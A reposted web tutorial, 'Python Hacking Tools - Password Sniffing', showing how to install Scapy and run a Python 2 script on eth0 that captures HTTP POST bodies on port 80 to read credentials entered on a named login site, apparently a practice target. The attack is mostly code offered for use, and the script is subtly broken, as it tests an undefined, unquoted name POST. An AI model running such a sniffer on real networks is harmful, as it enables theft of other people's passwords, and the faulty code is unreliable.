码迷,mamicode.com
首页 > 编程语言 > 详细

Python Hacking Tools - Password Sniffing

时间:2019-08-10 13:47:48      阅读:107      评论:0      收藏:0      [点我收藏+]

标签:pre   str   pip   tps   nbsp   pytho   pac   tools   ebs   

Password Sniffing with Scapy

1. Download and install the Scapy first.

pip install scapy

https://scapy.net/

 

2. Target Website

https://aavtrain.com/index.asp

 

3. Write the Python code

from scapy.all import *

def sniffer(packet):
    http_packet = packet
    if POST in str(http_packet):
        domain = str(http_packet).split("\r\n")[1].split(":")[1]
        data = str(http_packet).split("\r\n\r\n")[1]
        print "*" * 20
        print "Domain: " + domain
        print "Data: " + data
        print "*" * 20
        print "\n\n"

sniff(iface="eth0", prn=sniffer, filter="tcp port 80")

 

4. Execute the Python code and visit the target website through Firefox.

技术图片

 

Python Hacking Tools - Password Sniffing

标签:pre   str   pip   tps   nbsp   pytho   pac   tools   ebs   

原文地址:https://www.cnblogs.com/keepmoving1113/p/11331179.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!